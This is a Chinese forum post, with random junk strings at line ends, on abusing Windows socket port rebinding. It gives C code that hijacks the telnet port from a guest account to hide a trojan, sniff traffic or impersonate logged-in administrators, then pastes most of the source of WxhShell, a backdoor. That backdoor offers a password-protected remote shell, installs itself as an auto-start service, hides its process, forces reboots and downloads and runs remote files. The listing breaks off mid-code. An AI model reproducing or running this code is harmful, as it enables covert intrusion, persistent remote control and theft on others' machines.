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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -}9^$}PR  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *y!O\-\S#>  
^>?=L\[  
  saddr.sin_family = AF_INET; !: ^q_q4  
%'yrIR  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <;6{R#Tuh  
@M]_],  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "FWx;65CR  
,|{`(y/v  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p 1'l D  
,^1zG  
  这意味着什么?意味着可以进行如下的攻击: BVw2skOT  
RZzHlZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n7cy[%yT  
bI55G#1G  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) h 6Z:+  
@"-\e|[N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \</!kY*3@t  
kFv*>>X`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [b:&y(  
gvA}s/   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (4T0U5jgT  
y|2<Vc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x,!Dd  
(?fU l$q\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <X:JMj+  
@ph!3<(In,  
  #include kh5a>OX  
  #include #$I@V4O;#  
  #include D\AVZ76F1  
  #include    Uj):}xgi'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `m7<_#Y  
  int main() "`$,qvNN  
  { mb1mlsE  
  WORD wVersionRequested; D%p*G5Bg3  
  DWORD ret; C9!t&<\ }  
  WSADATA wsaData; DB5J3r81  
  BOOL val; iT>u&0B-  
  SOCKADDR_IN saddr; R}ki%i5|  
  SOCKADDR_IN scaddr; x b"z%.j  
  int err;  :\\NK/"  
  SOCKET s; H~a ~ 'tm  
  SOCKET sc; fQJ`&9m*BF  
  int caddsize; H648[H[k  
  HANDLE mt; s-$ Wc) l  
  DWORD tid;   <+_XGOt0<  
  wVersionRequested = MAKEWORD( 2, 2 ); >R+-mP!nj  
  err = WSAStartup( wVersionRequested, &wsaData ); X zJ#)}f  
  if ( err != 0 ) { {^WK#$]  
  printf("error!WSAStartup failed!\n"); @>)VQf8s1  
  return -1; -&Z!b!jN  
  } w+g29  
  saddr.sin_family = AF_INET; Xp:A;i9  
   {]k#=a4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +e>SK!kB7  
#ibwD:{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); UK ':%LeL  
  saddr.sin_port = htons(23);  ]n!V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Mu\V3`j  
  { T/_u;My;  
  printf("error!socket failed!\n"); =AIFu\9#a`  
  return -1; H9mNnZ_k  
  } i]v3CY|3AI  
  val = TRUE; ye^x>a['  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [';o -c"!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) W,xdj!^t  
  { sbW+vc  
  printf("error!setsockopt failed!\n"); 2dD" ^z{  
  return -1; jeu'K vhe  
  } q Gk.7wf%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k=]e7~!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 79T_9}M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Uwc%'=@  
X:GRjoa  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &C9IR,&  
  { EYT^*1,E*  
  ret=GetLastError(); ;6G]~}>o  
  printf("error!bind failed!\n"); UP-eKK'z  
  return -1; @t%da^-HS"  
  } .U!EA0B  
  listen(s,2); p<mL%3s0  
  while(1) UPhO =G  
  { *k{Llq  
  caddsize = sizeof(scaddr); h`&TDB2  
  //接受连接请求 Kxsd@^E  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); MntmBj-T  
  if(sc!=INVALID_SOCKET) SZWNN#w60?  
  { 2(eO5.FYF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); JtFq/&{i  
  if(mt==NULL) Y&6jFT_  
  { {7:1F)Pj  
  printf("Thread Creat Failed!\n"); 7{#p'.nc5  
  break; b~gq8,Fatb  
  } ynsYU(  
  } TGJz[Ny  
  CloseHandle(mt); ,} t%7I  
  } ug9Ja)1|  
  closesocket(s); ;jzJ6~<  
  WSACleanup(); K *@?BE  
  return 0; 56Wh<i3  
  }   $u<;X^  
  DWORD WINAPI ClientThread(LPVOID lpParam) K)'[^V Xh  
  { n {?Du  
  SOCKET ss = (SOCKET)lpParam; V%R]jbHZ#  
  SOCKET sc; #Pd9i5~N  
  unsigned char buf[4096]; ([8*Py|  
  SOCKADDR_IN saddr; `oxBIn*BD  
  long num; f#s6 'g  
  DWORD val; )z7CT|h7S  
  DWORD ret; `wi+/^);  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1uo- ?k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   VzT*^PFBg  
  saddr.sin_family = AF_INET; (Y~/9a4X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); < se~wR  
  saddr.sin_port = htons(23); mS%4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qz` -?,pF  
  { LQF;T7VKS)  
  printf("error!socket failed!\n"); 02]HwsvZ  
  return -1; <aPZE6z  
  } a j?ZVa6  
  val = 100; =v3o)lU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7J9<B5U  
  { %w&+o.k/  
  ret = GetLastError(); @1j*\gYz  
  return -1; _{o 3y"DZ  
  } }R* %q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7{r7  
  { ~BI`{/O=  
  ret = GetLastError(); 94!} Z>  
  return -1; _N5pxe`  
  } 27Gff(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =ls+vH40&  
  { JrBPx/?(,;  
  printf("error!socket connect failed!\n"); Yup#aeXY/  
  closesocket(sc); tar/no  
  closesocket(ss); R&!;(k0  
  return -1; %s}{5Qcl/  
  } :a8Sy("  
  while(1) *$cx7yJ  
  { %R5- 6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e/4C` J-  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 m+M^we*R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HL{aqT2  
  num = recv(ss,buf,4096,0); BD"Dzq  
  if(num>0) +`flIG3RV  
  send(sc,buf,num,0); remc_}`w  
  else if(num==0) i6bUJtL  
  break; e\}@w1  
  num = recv(sc,buf,4096,0); Csu9u'.V  
  if(num>0) OsOfo({I_  
  send(ss,buf,num,0); +wj}x?ZeV  
  else if(num==0) 'z9 1aNG]  
  break; oyiG04H&  
  } U2`:'  
  closesocket(ss); /K2[`+-  
  closesocket(sc); =o~mZ/ 7=M  
  return 0 ; I!!cA?W  
  } -[*y{K@dh  
%Ja0:e  
&t UX(  
========================================================== 2?qT,pN  
2a-]TVL3  
下边附上一个代码,,WXhSHELL jct=Nee|  
odL* _<Z  
========================================================== E|-oUz t  
1#L%Q(G  
#include "stdafx.h" P:Q&lnC  
"7-}#_!g  
#include <stdio.h> w!`e!}  
#include <string.h> `j {q  
#include <windows.h> eSZ':p  
#include <winsock2.h> zn/>t-Bc  
#include <winsvc.h> ,]t_9B QK  
#include <urlmon.h> A#`$#CO  
"Pc}-&  
#pragma comment (lib, "Ws2_32.lib") JV,h1/a("  
#pragma comment (lib, "urlmon.lib") 8yIBx%"4MH  
W2`3PEa  
#define MAX_USER   100 // 最大客户端连接数 fNda&  
#define BUF_SOCK   200 // sock buffer C\{ KB@C\*  
#define KEY_BUFF   255 // 输入 buffer |A68+(3u  
0OlT^  
#define REBOOT     0   // 重启 ]fDb|s48  
#define SHUTDOWN   1   // 关机 _|;d D  
E#d~.#uH  
#define DEF_PORT   5000 // 监听端口 Ca5LLG  
V}`ri~  
#define REG_LEN     16   // 注册表键长度 p! k~uf U  
#define SVC_LEN     80   // NT服务名长度 M4|ION  
k^d^Todq.  
// 从dll定义API qQf NT.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7`7M4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  rPr]f;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p/eaO{6 6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZG+FX:v  
'PrBa[%  
// wxhshell配置信息 ]D~Ibv{Y  
struct WSCFG { K/(QR_@?  
  int ws_port;         // 监听端口 @[v,q_^8  
  char ws_passstr[REG_LEN]; // 口令 e2fv%  
  int ws_autoins;       // 安装标记, 1=yes 0=no X!{K`~DRX  
  char ws_regname[REG_LEN]; // 注册表键名 nWc@ufY  
  char ws_svcname[REG_LEN]; // 服务名 e KuF7Oo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Sz|kXk6&9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $[Ut])4 ~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .p Mwa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZJ+ad,?,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J(8?6&=ck  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4C?4M;  
)Ft+eMYti[  
}; b{&'r~  
n5oX51J  
// default Wxhshell configuration -cJ,rrN_9  
struct WSCFG wscfg={DEF_PORT, |Ch ,C  
    "xuhuanlingzhe", o[RwK  
    1, q77qdm q7  
    "Wxhshell", |aU8WRq  
    "Wxhshell", Q(Yn8t  
            "WxhShell Service", cDYO Ju.  
    "Wrsky Windows CmdShell Service", ]Ar,HaX-  
    "Please Input Your Password: ", RnC+]J+?4  
  1, GJ`._ju  
  "http://www.wrsky.com/wxhshell.exe", -Ju;i<  
  "Wxhshell.exe" ukVBC"Ny  
    }; ue?3;BF 5  
a >-qHX-l  
// 消息定义模块 Z0v?3v}9^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _Wk*h}x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #l`\'0`.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; __+8wC  
char *msg_ws_ext="\n\rExit."; <_k A+&T  
char *msg_ws_end="\n\rQuit."; QrFKjmD<  
char *msg_ws_boot="\n\rReboot..."; Y^DGnx("m  
char *msg_ws_poff="\n\rShutdown..."; 3.P7GbN  
char *msg_ws_down="\n\rSave to "; Xf"< >M  
O8>&J-+2  
char *msg_ws_err="\n\rErr!"; raSga'uT;  
char *msg_ws_ok="\n\rOK!"; +84 p/ B#  
} 7:T? `V:  
char ExeFile[MAX_PATH]; AEx VKy  
int nUser = 0; 0Ntvd7"`}  
HANDLE handles[MAX_USER]; l1`r%9gr  
int OsIsNt; @(*A<2;N  
3P>1-=  
SERVICE_STATUS       serviceStatus; Dk$<fMS,7c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @vib54G  
?7lW@U0  
// 函数声明 oa=TlBk<  
int Install(void); *_J{_7pwe  
int Uninstall(void); _<F;&(o  
int DownloadFile(char *sURL, SOCKET wsh); N^wHO<IO 1  
int Boot(int flag); =j~:u.hc'  
void HideProc(void); o%`=+- K  
int GetOsVer(void); ;; {K##^l  
int Wxhshell(SOCKET wsl); N(yd<M w  
void TalkWithClient(void *cs); vf#d  
int CmdShell(SOCKET sock); /:{4,aX2  
int StartFromService(void); tux0}|[^'  
int StartWxhshell(LPSTR lpCmdLine); T%FW|jKw  
Z]tQmV8e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 79}jK"Gc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dHg[r|xC  
5D<ZtsXE  
// 数据结构和表定义 [MKG5=kaE  
SERVICE_TABLE_ENTRY DispatchTable[] = Qm*ZOz'i  
{ ? * ,  
{wscfg.ws_svcname, NTServiceMain}, _Yp~Oj  
{NULL, NULL} ^A=tk!C  
}; hosY`"X  
]jiVe_ OS<  
// 自我安装 Zo^]y'  
int Install(void) '/X]96Ci7  
{ !J!&JQ|  
  char svExeFile[MAX_PATH]; _emW#*V  
  HKEY key; n53c} ^  
  strcpy(svExeFile,ExeFile); 3HuGb^SNg  
6r D]6#D  
// 如果是win9x系统,修改注册表设为自启动 E8R;S}P A  
if(!OsIsNt) { S-3hLw&?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RjgJIVm(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :?y Ma$  
  RegCloseKey(key); +?Cy8Ev?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YAeF*vP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _/%,cYVc8!  
  RegCloseKey(key); }a9G,@:k  
  return 0; "lt5gu!`u  
    } :/Es%z D  
  } >mR8@kob<  
} 34N~<-9AY  
else { wYV>Qd Z  
uPYH3<  
// 如果是NT以上系统,安装为系统服务 < FO=PM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1kUlQ*[<|  
if (schSCManager!=0) UuF(n$B  
{ y:Of~ ]9@  
  SC_HANDLE schService = CreateService FINHO058^Y  
  ( PXJ7Ek*/  
  schSCManager, WK7?~R%rq  
  wscfg.ws_svcname, E'U x2sh  
  wscfg.ws_svcdisp, g3{UP]Z71  
  SERVICE_ALL_ACCESS, gVR]z9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k 9z9{  
  SERVICE_AUTO_START, XQfmD;U  
  SERVICE_ERROR_NORMAL, -}h^'#  
  svExeFile, d}ycC.h4k  
  NULL, {i8 zM6eC  
  NULL, ~7*2Jp'  
  NULL, &(32s!qH  
  NULL, NW 2`)e'  
  NULL ^eO/?D8~h  
  ); ^[Ka+E^Q  
  if (schService!=0)  O&|<2Qr  
  { -<5{wQE;|  
  CloseServiceHandle(schService); GQCdB>   
  CloseServiceHandle(schSCManager); Z(Y:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d(ypFd9z  
  strcat(svExeFile,wscfg.ws_svcname); T{f$S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Qe ip h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J,u-)9yBA<  
  RegCloseKey(key); fG$LqzyqlK  
  return 0; ~gMt U  
    } rJCb8x+5a  
  } gM=:80  
  CloseServiceHandle(schSCManager); !3mt<i]a"  
} #C?M-  
} hKWWN`;b !  
=EA:fq  
return 1; oo7}Hg>  
} xY!ud)  
Nf3UVK8LtS  
// 自我卸载 s<k2vbhI  
int Uninstall(void) vPz7*w  
{ x(eX.>o\  
  HKEY key; ^IIy>  
v}V[sIs}  
if(!OsIsNt) { o,* D8[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u Z-ZZE C  
  RegDeleteValue(key,wscfg.ws_regname);  <9yh:1"X  
  RegCloseKey(key); 1,bE[_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,#&7+e!]>P  
  RegDeleteValue(key,wscfg.ws_regname); 5Lej_uqF   
  RegCloseKey(key); T>L?\-  
  return 0; lG94^|U  
  } y;8&J{dd  
} N 1Ag .  
} 6b'.WB]-  
else { foQo`}"5  
H;=Fq+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {A:uy  
if (schSCManager!=0) X|eZpIA45  
{ zB`woI28  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?&~q^t?u  
  if (schService!=0) V8TdtGB.|h  
  { Tsa]SN14  
  if(DeleteService(schService)!=0) { Xw!\,"{s  
  CloseServiceHandle(schService); %%uE^nX>  
  CloseServiceHandle(schSCManager); 1d]F$ >  
  return 0;  NzP71t+  
  } t S]  
  CloseServiceHandle(schService); y5m2u8+  
  } l&qCgw  
  CloseServiceHandle(schSCManager); _"yA1D0d_  
} N~mr@rXC  
} FC, =g`Q!  
f6`GU$H  
return 1; kv3Dn&<rJ  
} A&~fw^HM  
TxP +?1t  
// 从指定url下载文件 <L#d <lx  
int DownloadFile(char *sURL, SOCKET wsh) }>u `8'2v  
{ H%>4z3n   
  HRESULT hr; <TRhnz  
char seps[]= "/"; 5j1d=h  
char *token; NBc^(F"  
char *file; Ws@'2i\;  
char myURL[MAX_PATH]; SNH 3C1  
char myFILE[MAX_PATH]; L8PX SJ  
tMiIlf!>p  
strcpy(myURL,sURL); ~!r;?38V`  
  token=strtok(myURL,seps); NSB6 2  
  while(token!=NULL) Kh(`6 f  
  { f=R+]XPzz  
    file=token; gaY&2  
  token=strtok(NULL,seps); >dt*^}*  
  } Ms(xQ[#+  
gK[;"R)4o@  
GetCurrentDirectory(MAX_PATH,myFILE); tZ9i/=S  
strcat(myFILE, "\\"); $Xu3s~:S  
strcat(myFILE, file); 1Qf}nWy  
  send(wsh,myFILE,strlen(myFILE),0); $?0ch15/  
send(wsh,"...",3,0); gtA34iw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UDg' s  
  if(hr==S_OK) UlE%\L0GD&  
return 0; IL %]4,  
else =xI'|%  
return 1;  V>'  
#lLUBJ#:  
} @9gZH_ur>E  
g8%O^)d=>  
// 系统电源模块 &P|[YP37_  
int Boot(int flag) x [FLV8`b|  
{ :BF? r  
  HANDLE hToken; [fa4  
  TOKEN_PRIVILEGES tkp; A>yU0\A  
l:!L+t*}6  
  if(OsIsNt) { w!7\wI[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !rM~   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1jl !VU6  
    tkp.PrivilegeCount = 1; E6A"Xo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '3(^Zv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G-Tmk7m  
if(flag==REBOOT) { .z`70ot?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s3Vb2C*  
  return 0; XWp8[Cx s  
} |:=o\eu&  
else { /8h=6"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H0Pxw P>q  
  return 0; Bvn3:+(47  
} hJ'H@L7  
  } 6@J=n@J$p  
  else { ZYwcB]xE z  
if(flag==REBOOT) { WD[eoi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) my.EvN  
  return 0; u#E'k KGO  
} pSw/QO9  
else { v~P,OP("c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o|(5Sr&H  
  return 0; NXY jb(4:  
} I#M3cI!X?  
} ;!4gDvm  
RP&bb{Y  
return 1; l]R0r{{  
} yLX $SR  
~f1g"   
// win9x进程隐藏模块 DZ8|20b  
void HideProc(void) h4? x_"V"  
{ 9Yx(u 2PQ  
_>;Wz7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !Lf<hS^  
  if ( hKernel != NULL ) V)`2 Kw  
  { L[ G O6l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ??rS h Mu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o%$.8)B9F  
    FreeLibrary(hKernel); 9)q3cjP{<  
  } 5AYOM=O]t  
%a;#]d  
return; RdTM5ANT  
} i--t ?@#  
ut{T:kT  
// 获取操作系统版本 j9+$hu#a  
int GetOsVer(void) >gk_klLh  
{ +2~k Hrv  
  OSVERSIONINFO winfo; ,kN;d}bg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); #< im?  
  GetVersionEx(&winfo); 6[> lzEZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !_<6}:ZB  
  return 1; *v>ZE6CL  
  else )h!cOEt  
  return 0; A=Wg0eYy\  
} m~ tvuz I  
E7fx4kV  
// 客户端句柄模块 `Lf'/q   
int Wxhshell(SOCKET wsl) n|SV)92o1  
{ z$32rt8{`v  
  SOCKET wsh; k_al*iM>H  
  struct sockaddr_in client; >qjV{M  
  DWORD myID; }]?Si6_ZZ  
'rD6MY  
  while(nUser<MAX_USER) La26"C"X  
{ P3$eomX'  
  int nSize=sizeof(client); <B"sp r&1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (q> TKM  
  if(wsh==INVALID_SOCKET) return 1; 4q$~3C[  
`@]s[1?f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K2x[ApS#  
if(handles[nUser]==0) kI\m0];KnQ  
  closesocket(wsh); d2 ^}ooE  
else 3^ Yc%  
  nUser++; IV QH p  
  } U2oCSo5:3N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ykbg5Z  
 +]db-  
  return 0; }I"C4'(a  
} I5$P9UE+^9  
'Ts:.  
// 关闭 socket qS!r<'F3dP  
void CloseIt(SOCKET wsh) )?L=o0  
{  `zwz  
closesocket(wsh); i=8iK#2 h  
nUser--; @=Kq99=\U  
ExitThread(0); fV(3RG  
} Lpchla$  
pJpapA2l*6  
// 客户端请求句柄 jcH@*c=%e  
void TalkWithClient(void *cs) nR!e(  
{ ^rkKE dd  
PxHFH pL  
  SOCKET wsh=(SOCKET)cs; !Brtao"m  
  char pwd[SVC_LEN]; yC,/R371k  
  char cmd[KEY_BUFF]; ]Z JoC!u  
char chr[1]; DHidI\*gT  
int i,j; (JhX:1  
c}x1-d8  
  while (nUser < MAX_USER) { X'9.fKp  
X|M!Nt0'  
if(wscfg.ws_passstr) { =BsV`p7rU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {Z.6\G&q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DT1gy:?L  
  //ZeroMemory(pwd,KEY_BUFF); x%P|T3Qy5  
      i=0; "(koR Q  
  while(i<SVC_LEN) { fn#8=TIDf  
}kbSbRH43  
  // 设置超时 -+9[X*VCc  
  fd_set FdRead; g|=_@ pL  
  struct timeval TimeOut; WA{igj@\  
  FD_ZERO(&FdRead); B*7kX&Uq  
  FD_SET(wsh,&FdRead); cw;wv+|k  
  TimeOut.tv_sec=8; ZO}Og&%  
  TimeOut.tv_usec=0; $ |4C]Me (  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l?Y^3x}j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `sxfj)s  
0bNvmZ$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bm588UQ  
  pwd=chr[0]; +Qs]8*^?;  
  if(chr[0]==0xd || chr[0]==0xa) { y!e]bvN  
  pwd=0;  s>rR\`  
  break; #%"q0"  
  } 4 p_C+4  
  i++; &[.5@sv  
    } bP,<^zA|X  
3KLUH=)P  
  // 如果是非法用户,关闭 socket z*Sm5i&)_q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _MBa&XEM  
} `h}eP[jA  
+bjy#=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d{ (,Gy>I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W<Uu.Y{sG  
ffCDO\i({  
while(1) { E'5*w6  
f49kf**  
  ZeroMemory(cmd,KEY_BUFF); @|!4X(2  
|J`EM7qMK  
      // 自动支持客户端 telnet标准   TyxIlI4"  
  j=0; :-&|QVH  
  while(j<KEY_BUFF) { -"(*'hD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r^9l/H~ $  
  cmd[j]=chr[0]; 4.6$m  
  if(chr[0]==0xa || chr[0]==0xd) { <sdgL+&1h  
  cmd[j]=0; &9k~\;x  
  break;  urp|@WZ  
  } `s}*  
  j++; p< R:[rz  
    } fBO/0uW  
r4.6W[| d  
  // 下载文件 T&U}}iWN  
  if(strstr(cmd,"http://")) { eK8H5YE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e~h>b.~  
  if(DownloadFile(cmd,wsh)) owVvbC2<b(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H$6RDMU  
  else 9#LMK 1ge  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,OZ  
  } h\RX/C!+  
  else { D6SUzI1+H  
|1tKQ0jg  
    switch(cmd[0]) { FU|brS t  
  npP C;KD  
  // 帮助 !U`&a=k  
  case '?': { {N(qS'N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +vc+9E.?9  
    break; 570Xk\R@M  
  } jiI=tg;  
  // 安装 # @\3{;{R  
  case 'i': { wcHk]mLM  
    if(Install()) FOaA}D `]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gv!8' DKn  
    else Z0|5VLk,<{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pP\Cwo #,  
    break; !3Dq)ebBz  
    } o7y<Zd`Bj  
  // 卸载 0'q4=!l  
  case 'r': { $CcjuPsK  
    if(Uninstall()) %wD#[<BGn>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  yCX5 5:  
    else l\U Q2i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 37bMe@W  
    break; Iil2R}1  
    } _S!^=9bJ  
  // 显示 wxhshell 所在路径 #-az]s|N  
  case 'p': { ^[ae )}  
    char svExeFile[MAX_PATH]; {9IRW\kn  
    strcpy(svExeFile,"\n\r"); W5j wD  
      strcat(svExeFile,ExeFile); , 3R=8  
        send(wsh,svExeFile,strlen(svExeFile),0); Sn:>|y~  
    break; ~$!,-r  
    } N,t9X7G&  
  // 重启 m l`xLZN>L  
  case 'b': { E4#{&sRT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \0@DOW22C  
    if(Boot(REBOOT)) =g% L$b<i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b3N IFKw  
    else { x/QqG1q  
    closesocket(wsh); s|YH_1r  
    ExitThread(0); V:0IBbh)w  
    } 0 _!0\d#c  
    break; lH fZw})d  
    } gt4GN`-k  
  // 关机 ]aN9mT N  
  case 'd': { ,@"yr>Q9#6  
